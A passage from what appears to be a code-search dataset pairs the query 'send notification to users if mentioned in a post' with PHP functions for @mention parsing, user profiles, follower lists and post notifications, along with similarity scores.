$title->getArticleID() != 0 ? false : 'new';\n }\n }\n\n return true;\n }", "static public function onPersonalUrls ( &$personal_urls /*, &$title ,$sk*/ ) {\n\t\t\n\t\tglobal $wgUser, $wgOut;\n\t\t$user = $wgUser;\n\t\t\t\t\n\t\tif ( $user->isAnon() ) {\n\t\t\treturn true;\n\t\t}\n\n\t\t$wgOut->addModuleStyles( 'ext.watchanalytics.base' );\n\t\t// NOTE: $wgOut->addModules() does not appear to work here, so \n\t\t// the onBeforePageDisplay() method was created below.\n\t\t\n\t\t// Get user's watch/review stats\n\t\t$watchStats = $user->watchStats; // set in onBeforePageDisplay() hook\n\t\t$numPending = $watchStats['num_pending'];\n\t\t$maxPendingDays = $watchStats['max_pending_days'];\n\t\t\n\t\t// Determine CSS class of Watchlist/PendingReviews link\n\t\t$personal_urls['watchlist']['class'] = array( 'mw-watchanalytics-watchlist-badge' );\n\t\tif ( $numPending != 0 ) {\n\t\t\t$personal_urls['watchlist']['class'] = array( 'mw-watchanalytics-watchlist-pending' );\n\t\t}\n\n\t\t// Determine text of Watchlist/PendingReviews link \n\t\tglobal $egPendingReviewsEmphasizeDays;\n\t\tif ( $maxPendingDays > $egPendingReviewsEmphasizeDays ) {\n\t\t\t$personal_urls['watchlist']['class'][] = 'mw-watchanalytics-watchlist-pending-old';\n\t\t\t$text = wfMessage( 'watchanalytics-personal-url-old' )->params( $numPending, $maxPendingDays )->text();\n\t\t}\n\t\telse {\n\t\t\t// when $sk (third arg) available, replace wfMessage with $sk->msg()\n\t\t\t$text = wfMessage( 'watchanalytics-personal-url' )->params( $numPending )->text();\n\t\t}\n\t\t$personal_urls['watchlist']['text'] = $text;\n\t\t\n\t\t// set \"watchlist\" link to Pending Reviews\n\t\t$personal_urls['watchlist']['href'] = SpecialPage::getTitleFor( 'PendingReviews' )->getLocalURL();\n\t\treturn true;\n\t}", "protected function renderFollowing() {\n $auth = new \\tweeterapp\\auth\\TweeterAuthentification();\n $html = '<h2>Liste des utilisateurs suivis</h2><ul id=\"followees\">';\n $user = User::where('username','=',$auth->user_login)->first();\n $liste_following = $user->follows()->get();\n foreach($liste_following as $l) {\n $html .= ' <li>\n <div class=\"tweet\">\n <div class=\"tweet-text\"><a href=\"'.Router::urlFor('user',[\"id\" => $l->id]).'\">'.$l->fullname.'</a></div>\n </div>\n </li>';\n }\n $html .= '</ul>';\n return $html;\n }", "public function users($subset = NULL) {\n\t\t\n\t\t# Set up the view\n\t\t$this->template->content = View::instance(\"v_posts_users\");\n\t\t\n\t\t$get_users = TRUE;\n\t\t\n\t\t# Get the list of user_ids this user is following, \n\t\t# for the view and to check against if $subset = \"followed\"\n\t\t$q = \"SELECT * \n\t\t\tFROM users_users\n\t\t\tWHERE user_id = \".$this->user->user_id;\n\t\n\t\t$connections = DB::instance(DB_NAME)->select_array($q, 'user_id_followed');\n\t\t\n\t\t# If $subset = following_you, display only those \n\t\t# users who are following the current user\n\t\tif ($subset == \"following_you\") {\n\n\t\t\t$this->template->title = \"Chirpers following you\";\n\t\t\t$subnav = \"following_you\";\n\n\t\t\t# Get the user_ids of the users following the current user\n\t\t\t$q = \"SELECT user_id \n\t\t\t\tFROM users_users\n\t\t\t\tWHERE user_id_followed = \".$this->user->user_id;\n\n\t\t\t$array = DB::instance(DB_NAME)->select_rows($q);\n\t\t\t\n\t\t\t# Create a comma separated list of those user IDs\n\t\t\t$users_following_you = \"\";\n\t\t\t\n \t\t\tforeach ($array as $user) {\n\t\t\t\t$users_following_you .= $user['user_id'];\n\t\t\t\t$users_following_you .= \",\";\n\t\t\t}\n\t\t\t\n\t\t\t# Remove the trailing comma\n\t\t\t$users_following_you = rtrim($users_following_you, \",\");\n\t\t\t\n\t\t\t# If no one is following current user, don't query the DB for users\n\t\t\tif ($users_following_you == \"\") {\n\t\t\t\t$get_users = FALSE;\n\t\t\t\t$message = \"<p class='message'>There are currently no users following you.</p>\";\n\t\t\t}\n\t\t\telse {\n\t\t\t\t# Set condition to get only users following current user\n\t\t\t\t$condition = \"IN (\".$users_following_you.\")\";\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\t\n\t\t# If $subset = followed, display only those \n\t\t# users who the current user is following\n\t\telseif ($subset == \"followed\") {\n\t\t\t\n\t\t\t$this->template->title = \"Chirpers you follow\";\n\t\t\t$subnav = \"followed\";\n\n\t\t\t# Create a comma separated list of the user_ids of\n\t\t\t# the users already followed by current user\n\t\t\t$users_followed = \"\";\n\t\t\t\n \t\t\tforeach ($connections as $key => $value) {\n\t\t\t\t$users_followed .= $key;\n\t\t\t\t$users_followed .= \",\";\n\t\t\t}\n\t\t\t\n\t\t\t# Remove the trailing comma\n\t\t\t$users_followed = rtrim($users_followed, \",\");\n\t\t\t\n\t\t\t# If no users are followed yet, don't query the DB for users\n\t\t\tif ($users_followed == \"\") {\n\t\t\t\t$get_users = FALSE;\n\t\t\t\t$message = \"<p class='message'>You are not currently following any users. <a href='/posts/users'>Choose users to follow!</a></p>\";\n\t\t\t}\n\t\t\telse {\n\t\t\t\t# Set condition to get only the users being followed\n\t\t\t\t$condition = \"IN (\".$users_followed.\")\";\n\t\t\t}\n\t\t}\n\t\t\n\t\t# If $subset = NULL (or anything else) display all users \n\t\t# except the current user\t\n\t\telse {\n\t\t\t$this->template->title = \"All chirpers\";\n\t\t\t$subnav = \"all\";\n\t\t\t$condition = \"<> \".$this->user->user_id;\t\t\t\n\t\t}\n\t\t\n\t\t# Query DB for users using condition based on subset\n\t\t# (Unless the $subset is following_you or followed \n\t\t# and there are no users to display, in which case\n\t\t# $get_users should be set to FALSE)\n\t\tif ($get_users == TRUE) {\n\t\t\t$q = \"SELECT \n\t\t\t\tuser_id,\n\t\t\t\tfirst_name,\n\t\t\t\tlast_name\n\t\t\t\tFROM `users` \n\t\t\t\tWHERE user_id \".$condition;\n\t\t\t$users = DB::instance(DB_NAME)->select_rows($q);\n \t\t\t$message = \"\";\t\t\n \t\t}\n\t\telse {\n\t\t\t$users = \"\";\n\t\t}\n\t\t\n\t\t# Send necessary data/variables to the view\n\t\t$this->template->content->users = $users;\n\t\t$this->template->content->connections = $connections;\n\t\t$this->template->content->subset = $subset;\n \t\t$this->template->content->message = $message;\n \t\t\n\t\t# Set variables for \"current\" navigation styles\n\t\t$this->template->nav = \"chirpers\";\n\t\t$this->template->subnav = $subnav;\t\t\n\t\t\n\t\t# Render the view\n\t\techo $this->template;\n\t\t\n\t}", "public function link($uid)\r\n {\r\n global $_SMALLURL;\r\n $username = $this->core($uid)->get(\"username\");\r\n return \"//{$_SMALLURL['domain']}/user/{$username}\";\r\n }", "public function owner()\n\t{\n\t\treturn array('url' => Route::url('user.profile', array('id' => $this->owner['id'])), 'username' => $this->owner['username']);\n\t}", "public function updateUserLinked\t(){\n\t\t\n\t\t}", "protected function userFollowers($data) {\n\t\t$user_id \t\t= $data->user_id;\n\t\t$userfollowers \t= $this->app_model->userFollowData($user_id); //user gif data\n\t\tif($userfollowers){\n\t\t\t$i=0;\n\t\t\tforeach($userfollowers as $userfollower){\n\t\t\t\t$userdata \t= $this->app_model->getUserdataById($userfollower['network_id']); // user details\n\t\t\t\tif($userdata) {\n\t\t\t\t\t$profile['userdata'][$i]['network_id'] \t= $userdata['id'];\n\t\t\t\t\t$profile['userdata'][$i]['username'] \t= $userdata['username'];\n\t\t\t\t\t$profile['userdata'][$i]['profile_pic'] = $userdata['profile_pic'];\n\t\t\t\t\t$profile['userdata'][$i]['tag_line'] \t= $userdata['tag_line'];\n\t\t\t\t\t//pr($profile);\n\t\t\t\t} else { // no need for else\n\t\t\t\t\t//$profile['userdata'][$i] = array();\n\t\t\t\t}\n\t\t\t\t//$result = $this->db->insert('users', $data);\n\t\t\t\t//$last_inserted_id = $this->db->insert_id();\n\t\t\t\t$i++;\n\t\t\t} \n\t\t\t\n\t\t} else{\n\t\t\t$this->falseResponse('Sorry you have no follower.');\n\t\t}\n\t\t$this->trueResponse($profile, 'success', $encode = true); \n\t\t\n\t}", "function smarty_function_userlinks($params, &$smarty) \n{\n extract($params); \n\tunset($params);\n\n if (!isset($start)) {\n\t $start = '[';\n\t}\n if (!isset($end)) {\n\t $end = ']';\n\t}\n if (!isset($seperator)) {\n\t $seperator = '|';\n\t}\n\n\tif (pnUserLoggedIn()) {\n\t\tif (ereg('0.7', _PN_VERSION_NUM)) {\n\t\t\t$links = \"$start <a href=\\\"user.php\\\">\" . _YOURACCOUNT . \"</a> $seperator \"\n\t\t\t\t\t.\"<a href=\\\"user.php?module=User&amp;op=logout\\\">\". _LOGOUT . \"</a> $end\";\n\t\t} else {\n\t\t\t$links = \"$start <a href=\\\"user.php\\\">\" . _YOURACCOUNT . \"</a> $seperator \"\n\t\t\t\t\t.\"<a href=\\\"\" . pnVarPrepHTMLDisplay(pnModURL('Users', 'user', 'logout')) . \"\\\">\" . _LOGOUT . \"</a> $end\";\n\t\t}\n\t} else {\n\t\tif (ereg('0.7', _PN_VERSION_NUM)) {\n\t\t\t$links = \"$start <a href=\\\"user.php\\\">\" . _CREATEACCOUNT . \"</a> $seperator \"\n\t\t\t\t\t.\"<a href=\\\"user.php?op=loginscreen&amp;module=User\\\">\". _LOGIN . \"</a> $end\";\n\t\t} else {\n\t\t\t$links = \"$start <a href=\\\"user.php\\\">\" . _CREATEACCOUNT . \"</a> $seperator \"\n\t\t\t\t\t.\"<a href=\\\"\" . pnVarPrepHTMLDisplay(pnModURL('Users', 'user', 'view')) . \"\\\">\" . _LOGIN . \"</a> $end\";\n\t\t}\n\t}\n\n return pnVarPrepHTMLDisplay($links);\n}", "function profile(){\n\nglobal $user, $conn, $dbtables, $logged_in, $globals, $l, $AEF_SESS, $theme;\nglobal $member, $smileys, $smileycode, $smileyimages, $tree;\n\t\n\t//Load the Language File\n\tif(!load_lang('profile')){\n\t\n\t\treturn false;\n\t\t\n\t}\n\t\n\t//The name of the file\n\t$theme['init_theme'] = 'profile';\n\t\n\t//The name of the Page\n\t$theme['init_theme_name'] = 'Profile Theme';\n\t\n\t//Array of functions to initialize\n\t$theme['init_theme_func'] = array('profile_theme');\n\t\n\t/////////////////////////////////////////\n\t//This section is only for users\n\tif(!$user['can_view_profile']){\n\t\n\t\t//Show a major error and return\n\t\treporterror($l['cant_view_profile_title'], $l['cant_view_profile']);\n\t\t\t\n\t\treturn false;\n\t\n\t}\n\t/////////////////////////////////////////\t\n\t\n\tif(!empty($_GET['mid']) && trim($_GET['mid']) && is_numeric(trim($_GET['mid']))){\n\t\n\t\t$mid = (int) inputsec(htmlizer(trim($_GET['mid'])));\n\t\t\n\t}else{\n\t\n\t\t//Show a major error and return\n\t\treporterror($l['no_member_specified_title'], $l['no_member_specified']);\n\t\t\t\n\t\treturn false;\n\t\t\n\t}\n\t\n\t\n\t//Select the users profile\t\n\t$qresult = makequery(\"SELECT u.id, u.username, u.email, u.r_time, u.lastlogin, u.lastlogin_1, \n\t\t\tu.posts, u.realname, u.users_text, u.gender, u.birth_date, u.customtitle, u.location,\n\t\t\tu.www, u.timezone, u.gmail, u.icq, u.aim, u.yim, u.msn, u.sig, u.avatar, u.avatar_type,\n\t\t\tu.avatar_width, u.avatar_height, u.ppic, u.ppic_type, u.ppic_width, u.ppic_height, \n\t\t\tu.hideemail, u.u_member_group, ug.*\n\t\t\tFROM \".$dbtables['users'].\" u\n\t\t\tLEFT JOIN \".$dbtables['user_groups'].\" ug ON (ug.member_group = u.u_member_group)\n\t\t\tWHERE u.id = '$mid'\");\n\t\t\t\n\tif(mysql_num_rows($qresult) < 1){\n\t\n\t\t//Show a major error and return\n\t\treporterror($l['no_member_found_title'], $l['no_member_found']);\n\t\t\n\t\treturn false;\n\t\t\n\t}\n\t\n\t$member = mysql_fetch_assoc($qresult);\n\t\n\t$tree = array();//Board tree for users location\n\t$tree[] = array('l' => $globals['index_url'],\n\t\t\t\t\t'txt' => $l['index']);\n\t$tree[] = array('l' => $globals['index_url'].'mid='.$mid,\n\t\t\t\t\t'txt' => $member['username'],\n\t\t\t\t\t'prefix' => $l['viewing_prefix']);\n\t\n\t/////////////////////////////\n\t// What are you doing dude?\n\t/////////////////////////////\n\t\n\t$globals['last_activity'] = 'pro';\n\t\n\t//He is viewing the profile\n\t$globals['activity_id'] = $member['id'];\n\t\n\t$globals['activity_text'] = $member['username'];\n\t\n\t\n\t//Is avatars allowed globally\n\tif(!empty($member['avatar']) && $globals['showavatars']){\n\t\n\t\t$avatar = array('avatar' => $member['avatar'],\n\t\t\t\t\t'avatar_type' => $member['avatar_type'],\n\t\t\t\t\t'avatar_width' => $member['avatar_width'],\n\t\t\t\t\t'avatar_height' => $member['avatar_height']\n\t\t\t\t\t);\n\t\t\t\t\t\n\t\t$member['avatarurl'] = urlifyavatar(100, $avatar);\n\t\n\t}\n\t\n\t\n\t//Load the personal pictures\n\tif(!empty($member['ppic'])){\n\t\n\t\t$ppic = array('ppic' => $member['ppic'],\n\t\t\t\t\t'ppic_type' => $member['ppic_type'],\n\t\t\t\t\t'ppic_width' => $member['ppic_width'],\n\t\t\t\t\t'ppic_height' => $member['ppic_height']\n\t\t\t\t\t);\n\t\t\t\t\t\n\t\t$member['ppicurl'] = urlifyppic(100, $ppic);\n\t\n\t}\n\n\t\n\t//Hide the members email if set\n\tif($member['hideemail'] == 1){\n\t\t\t\n\t\t$member['email'] = '';\n\t\n\t}\n\t\n\t\n\t$showsmileys = ($logged_in ? ( $user['showsmileys'] == 1 ? true : ($user['showsmileys'] == 2 ? false : $globals['usesmileys']) ) : $globals['usesmileys']);\n\t\n\t//Are we to use smileys ?\n\tif($globals['usesmileys'] && $showsmileys){\n\t\n\t\tif(!getsmileys()){\n\t\t\n\t\t\treturn false;\n\t\t\n\t\t}\n\t\n\t}\n\t\n\t$member['sig'] = parse_special_bbc($member['sig']);\t\n\t\n\t$member['sig'] = format_text($member['sig']);\n\t\n\t$member['sig'] = parse_br($member['sig']);\n\t\n\t//What about smileys in sigs\n\tif($globals['usesmileys'] && $showsmileys){\n\t\n\t\t$member['sig'] = smileyfy($member['sig']);\n\t\n\t}\n\t\n\t$theme['call_theme_func'] = 'profile_theme';\n\t\n}", "public function GetUserProfilePage($aUserData) {\n $aUserProfilePage = array();\n $aUserProfilePage['template'] = 'user/profile.html';\n $aUserProfilePage['_:_ID_:_'] = $aUserData['id'];\n $aUserProfilePage['_:_USERNAME_:_'] = $aUserData['username'];\n $aUserProfilePage['_:_EMAIL_:_'] = $aUserData['email'];\n $aUserProfilePage['_:_DESCRIPTION_:_'] = $aUserData['description'];\n\n // check if it's current user's page or not\n if ($aUserData['username'] == $_SESSION['username'] || isset($aUserData['message'])) {\n $aUserProfilePage['_:_SUBSCRIBE_:_'] = '';\n } else {\n $aUserProfilePage['_:_SUBSCRIBE_:_'] = '<input type=\"submit\" name=\"subscribe\" value=\"Subscribe\"/>'; \n }\n\n // media\n $sMedia = '';\n if (isset($aUserData['media'])) {\n foreach($aUserData['media'] as $media) {\n $sMedia .= '<li class=\"panel\"><a href=\"view.php?media='.$media['id'].'\">'.$media['title'].'</a></li>';\n }\n } else {\n $sMedia .= '<li class=\"panel\">No media</li>';\n }\n\n $aUserProfilePage[ '_:_MEDIA_:_' ] = $sMedia;\n $aUserProfilePage[ '_:_UPLOADS_:_' ] = '';\n\n if( !empty( $aUserData[ 'favorites' ] ) )\n {\n $sFavorites = '';\n foreach( $aUserData[ 'favorites' ] as $aFavorite )\n {\n $aItem = array();\n $aItem[ 'template' ] = 'media/media-item.html';\n $aItem[ '_:_TITLE_:_' ] = $aFavorite[ 'title' ];\n $aItem[ '_:_DESCR_:_' ] = $aFavorite[ 'description' ];\n $aItem[ '_:_ID_:_' ] = $aFavorite[ 'id' ];\n\n switch( $aFavorite[ 'type' ] )\n {\n case 'avi':\n case 'wmv':\n case 'mp4':\n case 'mov':\n $aItem[ '_:_IMG_:_' ] = 'img/video.png';\n break;\n case 'wav':\n case 'mp3':\n case 'ogg':\n $aItem[ '_:_IMG_:_' ] = 'img/audio.png';\n break;\n case 'png':\n case 'jpg':\n case 'gif':\n $aItem[ '_:_IMG_:_'] = 'img/image.png';\n break;\n }\n\n $sFavorites .= $this->oTemplate->PopulateTemplate( $aItem );\n }\n\n $aUserProfilePage[ '_:_FAVORITES_:_' ] = $sFavorites;\n } else {\n $aUserProfilePage[ '_:_FAVORITES_:_' ] = '<li>No favorites to show.</li>';\n }\n\n $sProfileHtml = $this->BuildPage($aUserProfilePage);\n \n return $sProfileHtml;\n }", "function open_graph() {\n\n\t if ( bp_is_single_activity() ) {\n\t return false;\n\t }\n\n\t // Get Displayed Profile user id.\n\t $user_id = bp_displayed_user_id();\n\n\t // Get Username\n\t $user_name = bp_core_get_user_displayname( $user_id );\n\n\t // Get User Cover Image\n\t $user_image = apply_filters( 'yz_og_profile_cover_image', bp_attachments_get_attachment( 'url', array( 'object_dir' => 'members', 'item_id' => $user_id ) ) );\n\n\t // Get Avatar if Cover Not found.\n\t if ( empty( $user_image ) ) {\n\t $user_image = apply_filters( 'yz_og_profile_default_thumbnail', null );\n\t }\n\n\t // Get User Description.\n\t $user_desc = get_the_author_meta( 'description', $user_id );\n\n\t // Get Page Url !\n\t $url = bp_core_get_user_domain( $user_id );\n\n\t // if description empty get about me description.\n\t if ( empty( $user_desc ) ) {\n\t $user_desc = get_the_author_meta( 'wg_about_me_bio', $user_id );\n\t }\n\n\t yz_get_open_graph_tags( 'profile', $url, $user_name, $user_desc, $user_image );\n\n\t}", "function cp_getClaimedTrailPermalink($type='', $uid=0, $points=0, $data='')\n{ \n\t$claimed_trail_info = get_post_meta($data,\"am_action_info_\".$uid,true);\n\t$original_trail_info = explode(\":\",$claimed_trail_info);\n\techo __('Claimed Trail ', 'cp'). get_the_title($original_trail_info[2]). ' \"<a href=\"'.get_permalink( $data ).'\">here</a>\"';\n}", "public static function hookLinkBegin($dummy, $target, &$text, &$customAttribs, &$query, &$options, &$ret) {\n global $wgUser;\n global $wgRealUsernames_linktext;\n global $wgRealUsernames_linkref;\n global $wgRealUsernames_append_username;\n\n // Nothing to do if text and ref replacement are not enabled.\n if ($wgRealUsernames_linktext !== true && $wgRealUsernames_linkref !== true) {\n return true;\n }\n\n // Nothing to do if links are not to user and talk namespaces.\n if (!in_array($target->getNamespace(), array(NS_USER, NS_USER_TALK))) {\n return true;\n }\n\n $username = $target->getText();\n wfDebugLog('RealUsernames', __METHOD__ . \": link received \".$username);\n\n // Get the real username for the username\n $realusername = self::get_realusername_from_username($username);\n // Default to username if not realusername is found.\n if ($realusername === '') {\n $realusername = $username;\n } else {\n wfDebugLog('RealUsernames', __METHOD__ . \": link change \". $username . \" to \" . $realusername);\n }\n\n // Let's apply real usernames to the texts.\n if ($wgRealUsernames_linktext === true) {\n // if ($text === ${username}) { // Only replace if the text was originally the username.\n if ($text === \"<bdi>${username}</bdi>\") { // (since MW link text comes surrounded by <bdi> tag, so looking for it.\n $text = $realusername;\n // With $wgRealUsernames_append_username enabled, users with \"block\" permissions\n // see the username together with the real username.\n if ($wgRealUsernames_append_username === true && $wgUser->isAllowed('block')) {\n // Only if real username and username are different.\n if ($username !== $realusername) {\n $text = $text . ' (' . $username . ')';\n }\n }\n }\n wfDebugLog('RealUsernames', __METHOD__ . \": link text change to \" . $realusername);\n }\n // Let's apply real usernames to the hrefs.\n if ($wgRealUsernames_linkref === true) {\n $target->mTextform = $realusername;\n $target->mDbkeyform = str_replace(' ', '_', $target->mTextform);\n $target->mUrlform = wfUrlencode($target->mDbkeyform);\n // Get and cache articleID to render a good or wrong link.\n $target->mArticleID = self::get_article_id($target);\n $options = array_diff($options, array('broken')); // Don't accept any predefined \"broken\" link. Recalculate.\n wfDebugLog('RealUsernames', __METHOD__ . \": link href change to \" . $target->mDbkeyform);\n }\n return true;\n }", "function faculty_get_social( $metaArray, $social ) {\n if ( 'youtube' == $social ) {\n if ( $metaArray['youtube_channel'][0] && $metaArray['youtube_link'][0] ) {\n return '<a href=\"'.$metaArray['youtube_link'][0].'\">'.$metaArray['youtube_channel'][0].'</a>';\n }\n\n if ( $metaArray['youtube_link'][0] ) {\n return '<a href=\"'.$metaArray['youtube_link'][0].'\">'.$metaArray['youtube_link'][0].'</a>';\n }\n\n return 'N/A';\n }\n\n if ( 'twitter' == $social ) {\n if ( $metaArray['twitter_url'][0] && $metaArray['twitter_handle'][0] ) {\n return '<a href=\"'.$metaArray['twitter_url'][0].'\">'.$metaArray['twitter_handle'][0].'</a>';\n }\n\n if ( $metaArray['twitter_url'][0] ) {\n return '<a href=\"'.$metaArray['twitter_url'][0].'\">'.$metaArray['twitter_url'][0].'</a>';\n }\n\n return 'N/A';\n }\n}" ]
[ "0.67128485", "0.65206796", "0.63126975", "0.61639744", "0.6021702", "0.5985781", "0.5959865", "0.5931326", "0.5841884", "0.58346397", "0.5833092", "0.58188266", "0.58141464", "0.57632893", "0.57572436", "0.5749457", "0.5716318", "0.5715423", "0.57135165", "0.5702457", "0.5701845", "0.56935865", "0.5685137", "0.5650713", "0.56406116", "0.56357837", "0.5628455", "0.56264263", "0.5612479", "0.56036484", "0.5589362", "0.55785555", "0.55544555", "0.5553819", "0.553879", "0.55197", "0.55157876", "0.5514304", "0.55138355", "0.5500291", "0.54984784", "0.54979604", "0.5490492", "0.5469935", "0.5451843", "0.5448285", "0.54418975", "0.5424866", "0.5421613", "0.54161936", "0.5391178", "0.5385984", "0.5381648", "0.5374263", "0.5363881", "0.5342029", "0.53324133", "0.53287804", "0.5324735", "0.53227973", "0.53080845", "0.53034824", "0.52852964", "0.52804905", "0.5278845", "0.5273016", "0.52685106", "0.52575076", "0.52495366", "0.52461296", "0.52447796", "0.52298355", "0.52292633", "0.5225461", "0.5222182", "0.5222182", "0.52209324", "0.52166057", "0.5206572", "0.5206207", "0.52002907", "0.51993793", "0.51959234", "0.5194493", "0.5191431", "0.5188005", "0.5181247", "0.51790214", "0.5177131", "0.5172088", "0.5166059", "0.51644063", "0.5160557", "0.51551825", "0.5151208", "0.5150378", "0.51492536", "0.51431787", "0.51352346", "0.51348567" ]
0.55714613
32
send notification to users if mentioned in a post
function iu_mentionusername($string, $from, $posturl){ include 'dbparams.php'; preg_match_all('/@[a-zA-Z0-9_]+/', $string, $matches); // print_r($matches[1]); foreach ($matches as $match) { if(in_array($match, $matches)){ foreach ($match as $name) { $matchedname = str_replace("@", "", $name);//remove '@' from username match $mentionQuery = @mysqli_query($dblink, "SELECT user_id FROM users WHERE username = '$matchedname'"); $mentionRow = mysqli_fetch_assoc($mentionQuery); $mentionuserid = $mentionRow['user_id']; iu_send_notification($from, $mentionuserid, 'mentionpost', $posturl); } } } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function post_publish_notification($ID , $post){\n\t$email = get_the_author_meta('user_email',$post->post_author);\n\t$subject = 'Published '.$post->post_title;\n\t$message = 'We just Published your post '.$post->post_title.\n\t ' take a look at : '. get_permalink($ID);\n\twp_mail($email,$subject,$message);\n}", "function authorNotification2( $post_id ) {\n\tglobal $wpdb;\n\t$post = get_post( $post_id );\n\t$author = get_userdata( $post->post_author );\n\t$message = \"\";\n\twp_mail( $author->user_email, \"\", $message );\n}", "function _sf_send_user_publish_note($new_status, $old_status, $post) {\n\t\tif($post->post_type == 'spot') {\n\t\t\t\n\t\t\t$user = get_user_by('id', $post->post_author);\n\t\t\t\n\t\t\t//// IF THIS POST IS BEING PUBLISHED AND THE AUTHOR IS A SUBMITTER\n\t\t\tif($old_status != 'publish' && $new_status == 'publish' && isset($user->caps['submitter'])) {\n\t\t\t\t\n\t\t\t\t//// SENDS AN EMAIL SAYING HIS POST HAS BEEN SUBMITTED\n\t\t\t\t$message = sprintf2(__(\"Dear %user,\n\t\t\t\t\nThis is to inform you that your submission %title at %site_name has been approved and it is now published.\n\nYou can view it here at %link\n\nKind regards,\nthe %site_name team.\", 'btoa'), array(\n\t\t\t\n\t\t\t\t\t'user' => $user->display_name,\n\t\t\t\t\t'title' => $post->post_title,\n\t\t\t\t\t'site_name' => get_bloginfo('name'),\n\t\t\t\t\t'link' => get_permalink($post->ID),\n\t\t\t\t\n\t\t\t\t));\n\t\t\t\t\n\t\t\t\t$subject = sprintf2(__('Submission approved at %site_name', 'btoa'), array('site_name' => get_bloginfo('name')));\n\t\t\t\t\n\t\t\t\t$headers = \"From: \".get_bloginfo('name').\" <\".get_option('admin_email').\">\";\n\t\t\t\t\n\t\t\t\twp_mail($user->user_email, $subject, $message, $headers);\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t///// IF ITS A SPOT\n\t\t\tif($post->post_type == 'spot') {\n\t\t\t\t\n\t\t\t\tif(ddp('future_notification') == 'on' && $old_status != 'publish' && $new_status == 'publish') {\n\t\t\t\t\t\n\t\t\t\t\t//// ALSO CHECKS FOR USER NOTIFICATIONS FOR MATCHING CRITERIA\n\t\t\t\t\tif(function_exists('_sf_check_for_user_notifications_matching_spot')) { _sf_check_for_user_notifications_matching_spot($post->ID); }\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\n\t\t\t\t//// IF ITS BEING PUBLISHED AND WE HAVE AN EXPIRY DATE SET\n\t\t\t\tif($old_status != 'publish' && $new_status == 'publish' && ddp('submission_days') != '' && ddp('submission_days') != '0') {\n\t\t\t\t\t\n\t\t\t\t\t//// SETS UP OUR CRON JOB TO PUT IT BACK TO PENDING IN X AMOUNT OF DAYS\n\t\t\t\t\t_sf_set_spot_expiry_date($post);\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\n\t\t\t\t//// IF ITS BEING PUBLISHED AND WE HAVE AN EXPIRY DATE SET FOR OUR FEATURED SUBMISSION - AND ITS INDEED FEATURED\n\t\t\t\tif($old_status != 'publish' && $new_status == 'publish' && ddp('price_featured_days') != '' && ddp('price_featured_days') != '0' && get_post_meta($post->ID, 'featured', true) == 'on') {\n\t\t\t\t\t\n\t\t\t\t\t//// SETS UP OUR CRON JOB TO PUT IT BACK TO NORMAL SUBMISSION AFTER X DAYS\n\t\t\t\t\t_sf_set_spot_expiry_date_featured($post);\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\n\t\t\t}\n\t\t\n\t\t}\n\t\t\n\t\t\n\t}", "public function onPostShowing(Post $post)\n {\n $is_viewed_already=(bool) View::where('user_id', \\Auth::id())\n ->where('post_id', $this->id)\n ->first();\n\n $user = auth()->user();\n if($is_viewed_already == false){\n \\Auth::user()->views()->attach($post->id);\n }\n \n /* $unreadNotifications = $user->unreadNotifications;\n foreach ($unreadNotifications as $notifications) {\n $comment = $notifications->data;\n if ($comment['commentable_type'] == 'App\\Post' && $comment['commentable_id'] == $post->id) {\n $notifications->markAsRead();\n }\n }*/\n }", "public function mentions(){\n\t\t$title = \"mentioning user: @\";\n\t\t$where = \"select m.post_id from mentions m, users u2 where m.user_id = u2.user_id and u2.user_name\";\n\n\t\t#call generic routine for showing a specific list of posts:\n\t\t$this->view_specific($where, $title);\n\t}", "function notify_post($post_id) {\n\n if( ( $_POST['post_status'] == 'publish' ) && ( $_POST['original_post_status'] != 'publish' ) && ( $_POST['post_type'] == 'events' ) ) {\n\n send_event_email($post_id);\n\n }\n\n}", "public function onPostShowing(Post $post)\n {\n $user = auth()->user();\n if (!isAdmin($user)) {\n $post->increment('view_count');\n }\n if (auth()->check()) {\n $unreadNotifications = $user->unreadNotifications;\n foreach ($unreadNotifications as $notifications) {\n $comment = $notifications->data;\n if ($comment['commentable_type'] == 'App\\Model\\Post' && $comment['commentable_id'] == $post->id) {\n $notifications->markAsRead();\n }\n }\n }\n }", "public function LikePost($id)\n {\n //\n $user = PostController::GetUserByPostId($id);\n if(Auth::guest())\n return false;\n $past = Like::where(['type' => 'post', 'user_id' => Auth::user()->id, 'post_id' => $id])->get();\n\n if($past->count() > 0)\n return false;\n\n if($user == Auth::user()->id)\n return false;\n\n $like = new Like;\n $like->user_id = Auth::user()->id;\n $like->post_id = $id;\n $like->type = 'post';\n $like->save();\n\n NotificationController::store($user, $like);\n\n return 1;\n }", "public function sendPostNotification() {\n\t\t$getNotificatin = \\DB::table('notification')\n\t\t\t->where('type', 'post_added')\n\t\t\t->where('push_status', '0')\n\t\t\t->where('receiver', '0')\n\t\t\t->orderBy('id', 'ASC')\n\t\t\t->get();\n\t\tif (count($getNotificatin) > 0) {\n\t\t\tforeach ($getNotificatin as $nKey => $rows) {\n\t\t\t\t$notification_id = $rows->id;\n\t\t\t\t$senderId = $rows->sender;\n\t\t\t\t$senderInfo = \\DB::table('users')->where('id', $rows->sender)->first();\n\t\t\t\t$user_details[] = array(\n\t\t\t\t\t'ID' => $senderInfo->id,\n\t\t\t\t\t'user_image' => '',\n\t\t\t\t\t'Name' => $senderInfo->username,\n\t\t\t\t);\n\t\t\t\t$my_user = \\DB::table('user_connection')\n\t\t\t\t\t->where('user_connection.friend_id', $senderId)\n\t\t\t\t\t->where('user_connection.follow', '1')\n\t\t\t\t\t->where('user_connection.status', '1')\n\t\t\t\t\t->pluck('user_connection.user_id');\n\t\t\t\t$userRow = \\DB::table('users')\n\t\t\t\t\t->where('player_id', '!=', '')\n\t\t\t\t\t->WhereIn('id', $my_user)\n\t\t\t\t\t->pluck('player_id');\n\t\t\t\tif (!empty($userRow)) {\n\t\t\t\t\tif ($userRow) {\n\t\t\t\t\t\t$title = 'New Post';\n\t\t\t\t\t\t$message = $senderInfo->username . ' added new post';\n\t\t\t\t\t\t$msg = array(\n\t\t\t\t\t\t\t'title' => $title,\n\t\t\t\t\t\t\t'message' => $message,\n\t\t\t\t\t\t\t'push_notification_id' => $notification_id,\n\t\t\t\t\t\t\t'type' => $rows->type,\n\t\t\t\t\t\t\t'ID' => 